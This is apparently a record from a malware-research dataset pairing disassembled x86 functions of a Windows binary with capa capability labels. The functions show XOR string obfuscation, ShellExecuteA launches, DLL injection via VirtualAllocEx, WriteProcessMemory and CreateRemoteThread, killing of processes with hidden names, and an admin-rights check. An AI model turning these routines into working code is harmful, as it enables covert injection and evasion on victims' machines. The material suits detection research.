joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4df320
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
movzx eax, cl
imul eax, eax, 0x9d
push edi
mov edi, 0x86d
mov dword [ebp - 4], eax
xor eax, eax
test ecx, ecx
jle 0x4df37e
mov ecx, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
sub ebx, ecx
nop dword [eax]
lea esi, [eax + ecx]
mov ecx, eax
and ecx, 7
inc eax
mov dl, byte [ecx + 0x53b348]
mov ecx, edi
xor dl, byte [ebx + esi]
sar ecx, 8
xor dl, cl
imul edi, edi, 0x87b
xor dl, byte [ebp - 4]
mov ecx, dword [ebp + 0x10]
mov byte [esi], dl
cmp eax, dword [ebp + 8]
jl 0x4df350
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4e04d0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x53b12c], 2
jne 0x4e052f
mov edx, dword [0x53b260]
add edx, 0x68
cmp dword [edx + 0x14], 0x10
jb 0x4e04f0
mov ecx, dword [edx]
jmp 0x4e04f2
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e04f6
sub ecx, esi
pop esi
je 0x4e052f
cmp dword [edx + 0x14], 0x10
mov dword [0x53b2ac], 1
mov dword [0x53b12c], 1
jb 0x4e051e
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret

Function at 0x4e0540
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x53b128], 2
jne 0x4e059f
mov edx, dword [0x53b260]
add edx, 0x50
cmp dword [edx + 0x14], 0x10
jb 0x4e0560
mov ecx, dword [edx]
jmp 0x4e0562
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e0566
sub ecx, esi
pop esi
je 0x4e059f
cmp dword [edx + 0x14], 0x10
mov dword [0x53b2a8], 1
mov dword [0x53b128], 1
jb 0x4e058e
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret

Function at 0x4e05b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x53b124], 2
jne 0x4e060f
mov edx, dword [0x53b260]
add edx, 0x38
cmp dword [edx + 0x14], 0x10
jb 0x4e05d0
mov ecx, dword [edx]
jmp 0x4e05d2
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e05d6
sub ecx, esi
pop esi
je 0x4e060f
cmp dword [edx + 0x14], 0x10
mov dword [0x53b2a4], 1
mov dword [0x53b124], 1
jb 0x4e05fe
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret

Function at 0x4e0620
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x53b120], 2
jne 0x4e067f
mov edx, dword [0x53b260]
add edx, 0x20
cmp dword [edx + 0x14], 0x10
jb 0x4e0640
mov ecx, dword [edx]
jmp 0x4e0642
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e0646
sub ecx, esi
pop esi
je 0x4e067f
cmp dword [edx + 0x14], 0x10
mov dword [0x53b2a0], 1
mov dword [0x53b120], 1
jb 0x4e066e
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret
Function at 0x4e0690
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x53b118], 2
jne 0x4e07e4
push ebx
mov byte [ebp - 0x10], 0x5b
mov al, 0x14
xor al, byte [ebp - 0x10]
mov cl, 0x2b
xor cl, byte [ebp - 0x10]
mov bh, 0x3e
mov byte [ebp - 0xf], al
mov ah, 0x34
mov byte [ebp - 0xe], cl
mov dl, 0x2f
mov cl, byte [ebp - 0x10]
mov ch, 0x35
mov byte [ebp - 0x35], 0x23
xor ah, cl
mov al, byte [ebp - 0x35]
mov dh, 0x75
xor al, cl
mov byte [ebp - 0x36], bh
mov byte [ebp - 7], al
mov bl, 0x32
mov al, byte [ebp - 0x36]
xor dl, cl
push 9
push 0
xor al, cl
mov byte [ebp - 0xb], ah
push 0
mov byte [ebp - 6], al
xor bl, cl
lea eax, [ebp - 0xf]
mov byte [ebp - 5], 0
push eax
push 0
xor ch, cl
mov dword [0x53b298], 1
xor dh, cl
mov dword [0x53b118], 1
xor bh, cl
mov byte [ebp - 0xd], dl
push 0
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xa], ch
mov byte [ebp - 9], dh
mov byte [ebp - 8], bh
mov byte [ebp - 5], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 2
jne 0x4e07db
movaps xmm0, xmmword [0x5207f0]
mov al, 0x7e
mov byte [ebp - 0x1c], 0x32
mov cl, 0x53
xor al, byte [ebp - 0x1c]
mov ch, 0x5a
mov byte [ebp - 0x1b], al
mov dl, 0x47
mov al, byte [ebp - 0x1c]
mov bl, 0x5c
mov ah, 0x51
mov byte [ebp - 0x13], 0
mov dh, 0x57
mov byte [ebp - 0x13], 0
mov bh, 0x40
mov dword [ebp - 0x24], 0x372c363f
xor cl, al
mov word [ebp - 0x20], 0x773d
xor ch, al
mov byte [ebp - 0x1a], cl
xor dl, al
mov byte [ebp - 0x16], ch
xor bl, al
mov byte [ebp - 0x19], dl
xor ah, al
mov byte [ebp - 0x18], bl
xor dh, al
mov byte [ebp - 0x17], ah
xor bh, al
mov byte [ebp - 0x15], dh
mov byte [ebp - 0x14], bh
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
mov byte [ebp - 0x1e], 0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x15
jb 0x4e07a5
push 0x40
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x1e], 0
push eax
lea eax, [ebp - 0x33]
push eax
push dword [0x53b284]
call dword [sym.imp.USER32.dll_MessageBoxA]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049ca3f
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049ca3f
mov esp, ebp
pop ebp
ret

Function at 0x4e0800
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x53b114], 2
jne 0x4e085f
mov edx, dword [0x53b260]
add edx, 8
cmp dword [edx + 0x14], 0x10
jb 0x4e0820
mov ecx, dword [edx]
jmp 0x4e0822
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e0826
sub ecx, esi
pop esi
je 0x4e085f
cmp dword [edx + 0x14], 0x10
mov dword [0x53b294], 1
mov dword [0x53b114], 1
jb 0x4e084e
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret
Function at 0x4e0870
Capabilities:
Create process on windows

Disassembly:
cmp dword [0x53b130], 2
jne 0x4e08c2
mov eax, dword [0x53b260]
cmp byte [eax + 0x258], 0
je 0x4e08c2
cmp dword [eax + 0xd8], 0
jbe 0x4e08c2
add eax, 0xc8
mov dword [0x53b2b0], 1
mov dword [0x53b130], 1
cmp dword [eax + 0x14], 0x10
jb 0x4e08b1
mov eax, dword [eax]
push 9
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
ret
Function at 0x4e1040
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
nop dword [eax]
push 0xfa
call esi
mov eax, dword [0x53af78]
test eax, eax
je 0x4e1060
cmp dword [0x53b200], 0
je 0x4e1060
push eax
push 1
push 0x1fffff
call edi
cmp eax, 0xffffffff
je 0x4e1060
push 0
push 1
lea ecx, [ebp - 1]
push ecx
push 0x400000
push eax
call ebx
test eax, eax
jne 0x4e1060
push dword [0x53b200]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4e1690
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f0984
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], 0
push 3
mov dword [ebp - 4], 1
call fcn.00451390
add esp, 4
call fcn.00451120
mov dword [esi + 0x10], 0
mov edi, eax
mov dword [esi + 0x14], 0
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], 0
jb 0x4e1708
mov eax, dword [esi]
jmp 0x4e170a
mov eax, esi
mov byte [eax], 0
mov dword [ebp - 0x38], 1
test edi, edi
je 0x4e1826
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push eax
push 0x2712
push edi
call fcn.004557a0
add esp, 0xc
push 0
push 0x40
push edi
call fcn.004557a0
add esp, 0xc
push 0
push 0x51
push edi
call fcn.004557a0
add esp, 0xc
push 0x4e1860
push 0x4e2b
push edi
call fcn.004557a0
add esp, 0xc
push esi
push 0x2711
push edi
call fcn.004557a0
add esp, 0xc
push 1
push 0x29
push edi
call fcn.004557a0
add esp, 0xc
push edi
call fcn.00451160
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4e181d
sub esp, 0x18
mov ecx, esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 0x10
jb 0x4e17af
mov eax, dword [ecx]
jmp 0x4e17b1
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp + 8]
push 0
push eax
call fcn.004450f0
call fcn.004e73a0
push ebx
call fcn.00451dc0
movaps xmm0, xmmword [0x5206e0]
sub esp, 0x14
movups xmmword [ebp - 0x30], xmm0
mov ebx, esp
xor ecx, ecx
movaps xmm0, xmmword [str.tk.__gojcb_u]
push eax
movups xmmword [ebp - 0x20], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x30]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0x1e
jb 0x4e17f0
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x2f]
mov ecx, esp
push eax
call fcn.00444cc0
push ebx
call fcn.004e9790
add esp, 0x20
call fcn.004e73a0
push edi
call fcn.004510e0
add esp, 4
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x4e183b
inc ecx
push ecx
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.00445690
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049ca3f
mov esp, ebp
pop ebp
ret
Function at 0x4e2750
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 4
push 0x3000
push 0x104
mov edi, ecx
mov esi, edx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x4e27e2
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e2780
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4e27db
push 0
push 0
push ebx
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
jne 0x4e27ec
lea ecx, [esi + 1]
nop dword [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4e27c0
sub esi, ecx
push 0x8000
lea eax, [esi + 1]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x4e27e2
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4e2806
sub esi, ecx
push 0x8000
lea eax, [esi + 1]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4e2860
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f0adc
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dl, cl
mov eax, dword [0x53b260]
cmp dword [eax + 0x18], 0
je 0x4e29a3
movzx esi, dl
lea ecx, [eax + 0xfc]
lea eax, [esi + 1]
cmp dword [ecx + 4], eax
jb 0x4e29a3
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], esi
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.0044ef40
mov eax, dword [ebp - 0x58]
cmp dword [eax + 0x3c], 0
jbe 0x4e29a3
mov ch, 0x1a
mov byte [ebp - 0x12], 0
mov al, 0x35
mov byte [ebp - 0x18], ch
mov dl, 0x7f
mov dword [ebp - 0x50], esi
xor dl, ch
mov byte [ebp - 0x12], 0
mov ah, al
mov byte [ebp - 0x15], dl
mov edx, dword [0x53b260]
xor al, ch
xor ah, ch
mov byte [ebp - 0x17], al
mov cl, 0x74
mov byte [ebp - 0x13], ah
xor cl, ch
lea eax, [ebp - 0x17]
mov bl, 0x6d
mov byte [ebp - 0x16], cl
xor bl, ch
lea edx, [edx + 8]
push eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 0x14], bl
call fcn.0044b7b0
add esp, 4
mov esi, eax
lea eax, [ebp - 0x50]
mov dword [ebp - 4], 0
mov ecx, dword [0x53b260]
push eax
lea eax, [ebp - 0x58]
add ecx, 0xfc
push eax
call fcn.0044ef40
mov eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x30]
add eax, 0x2c
mov edx, esi
push eax
call fcn.0044d750
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x4e2956
mov eax, dword [eax]
push 5
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [ebp - 0x1c]
cmp eax, 0x10
jb 0x4e297c
inc eax
lea ecx, [ebp - 0x30]
push eax
push dword [ebp - 0x30]
call fcn.00445690
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], 0
mov byte [ebp - 0x30], 0
cmp eax, 0x10
jb 0x4e29a3
inc eax
lea ecx, [ebp - 0x48]
push eax
push dword [ebp - 0x48]
call fcn.00445690
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049ca3f
mov esp, ebp
pop ebp
ret
Function at 0x4e4060
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
mov bl, dl
mov dword [ebp - 0x138], ecx
push 2
mov byte [ebp - 0x131], bl
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
xor esi, esi
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4e410e
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop dword [eax]
nop dword [eax + eax]
mov eax, dword [ebp - 0x138]
lea ecx, [ebp - 0x10c]
nop dword [eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4e40f0
test dl, dl
je 0x4e40ec
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4e40f0
add ecx, 2
add eax, 2
test dl, dl
jne 0x4e40d0
xor eax, eax
jmp 0x4e40f5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4e40fa
inc esi
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
test eax, eax
jne 0x4e40c0
mov bl, byte [ebp - 0x131]
cmp edi, 0xffffffff
je 0x4e411a
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x4e4135
cmp esi, 1
setl al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049ca3f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
cmp esi, 1
pop edi
setle al
xor ecx, ebp
pop esi
pop ebx
call fcn.0049ca3f
mov esp, ebp
pop ebp
ret
Function at 0x4e4150
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x140], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x140]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4e4291
nop dword [eax + eax]
movaps xmm0, xmmword [str.5BWVj_EQTAPePMP]
xor ecx, ecx
movups xmmword [ebp - 0x18], xmm0
nop dword [eax]
mov al, byte [ebp - 0x18]
xor byte [ebp + ecx - 0x17], al
inc ecx
cmp ecx, 0xe
jb 0x4e41b0
mov byte [ebp - 9], 0
lea ecx, [ebp - 0x17]
lea eax, [ebp - 0x11c]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4e41f0
test dl, dl
je 0x4e41ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4e41f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4e41d0
xor eax, eax
jmp 0x4e41f5
sbb eax, eax
or eax, 1
test eax, eax
je 0x4e4259
movaps xmm0, xmmword [0x520590]
xor eax, eax
movups xmmword [ebp - 0x18], xmm0
mov word [ebp - 8], 0x5f54
mov byte [ebp - 6], 0
mov cl, byte [ebp - 0x18]
xor byte [ebp + eax - 0x17], cl
inc eax
cmp eax, 0x11
jb 0x4e4210
mov byte [ebp - 6], 0
lea ecx, [ebp - 0x17]
lea eax, [ebp - 0x11c]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4e4250
test dl, dl
je 0x4e424c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4e4250
add eax, 2
add ecx, 2
test dl, dl
jne 0x4e4230
xor eax, eax
jmp 0x4e4255
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4e427b
push dword [ebp - 0x138]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4e427b
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
lea eax, [ebp - 0x140]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4e41a0
cmp edi, 0xffffffff
je 0x4e4299
push edi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0049ca3f
mov esp, ebp
pop ebp
ret
Function at 0x4e42e0
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push eax
mov word [ebp - 8], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x4e4339
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push esi
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x4e4341
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4e4356
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [ebp - 0x10], 0
test esi, esi
jne 0x4e436c
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
xor ecx, ebp
pop esi
call fcn.0049ca3f
mov esp, ebp
pop ebp
ret
push 0x526b58
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
push eax
call fcn.004b5fd4
int3
Function at 0x4e6a40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f0d8c
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
movzx ecx, word [esi + 0x27e]
cmp cx, word [esi + 0x27c]
jle 0x4e6b17
movaps xmm0, xmmword [0x520570]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 4
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x10
jb 0x4e6a92
cmp byte [ebp - 0x23], 0
mov byte [ebp - 0x13], 0
mov dword [ebp - 0x30], 0xf
mov dword [ebp - 0x34], 0
mov byte [ebp - 0x44], 0
jne 0x4e6abf
xor ecx, ecx
jmp 0x4e6ace
lea ecx, [ebp - 0x23]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e6ac5
sub ecx, edx
push ecx
lea eax, [ebp - 0x23]
push eax
lea ecx, [ebp - 0x44]
call fcn.00445910
lea ecx, [esi + 0x280]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x44]
cmp ecx, eax
je 0x4e6af9
push 0xffffffffffffffff
push 0
push eax
call fcn.004450f0
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x4e6b0e
inc eax
lea ecx, [ebp - 0x44]
push eax
push dword [ebp - 0x44]
call fcn.00445690
mov byte [esi + 0x258], 0
jmp 0x4e6b39
mov eax, dword [0x53b260]
mov eax, dword [eax]
cmp dword [eax + 4], 0xffffffff
je 0x4e6b39
push 3
lea eax, [ebp - 0x2c]
mov word [ebp - 0x2b], cx
mov ecx, dword [esi]
push eax
mov byte [ebp - 0x2c], 2
call fcn.004dbd90
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049ca3f
mov esp, ebp
pop ebp
ret

Function at 0x4e6b60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x52a098]
xor eax, esp
mov dword [esp + 0x48], eax
cmp dword [0x53b5d8], 0x10
lea ecx, [esp + 0x14]
push esi
mov esi, 0x53b5c4
mov eax, esi
cmovae eax, dword [0x53b5c4]
push ecx
push eax
call fcn.004bcc6f
add esp, 8
test eax, eax
je 0x4e6bae
xor al, al
pop esi
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.0049ca3f
mov esp, ebp
pop ebp
ret
cmp dword [0x53b5d8], 0x10
push 0
cmovae esi, dword [0x53b5c4]
push 0x80
push 3
push 0
push 2
push 2
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x4e6be9
mov al, 1
pop esi
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.0049ca3f
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm0, xmmword [str.Z1432.54634_t___]
xor ecx, ecx
movups xmmword [esp + 4], xmm0
mov word [esp + 0x14], 0x3f
mov al, byte [esp + 4]
xor byte [esp + ecx + 5], al
inc ecx
cmp ecx, 0x10
jb 0x4e6c05
mov dl, 1
mov byte [esp + 0x15], 0
lea ecx, [esp + 5]
call fcn.004e4060
mov ecx, dword [esp + 0x4c]
test al, al
pop esi
sete al
xor ecx, esp
call fcn.0049ca3f
mov esp, ebp
pop ebp
ret
Function at 0x4e6c40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f0db9
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movaps xmm0, xmmword [0x5203e0]
xor ecx, ecx
mov eax, dword [ebp + 8]
push eax
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x77
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x10
jb 0x4e6c80
sub esp, 0x18
mov byte [ebp - 0x13], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
cmp dword [edx + 0x14], 0x10
jb 0x4e6cae
mov eax, dword [edx]
jmp 0x4e6cb0
mov eax, edx
mov byte [eax], 0
cmp byte [ebp - 0x23], 0
jne 0x4e6cbd
xor ecx, ecx
jmp 0x4e6ccc
lea ecx, [ebp - 0x23]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e6cc3
sub ecx, esi
push ecx
lea eax, [ebp - 0x23]
mov ecx, edx
push eax
call fcn.00445910
lea eax, [ebp - 0x40]
push eax
call fcn.004e9790
mov ecx, dword [0x53b260]
add esp, 0x20
add ecx, 0x280
mov dword [ebp - 4], 0
lea eax, [ebp - 0x40]
cmp ecx, eax
je 0x4e6d08
push 0xffffffffffffffff
push 0
push eax
call fcn.004450f0
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x4e6d1d
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.00445690
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049ca3f
mov esp, ebp
pop ebp
ret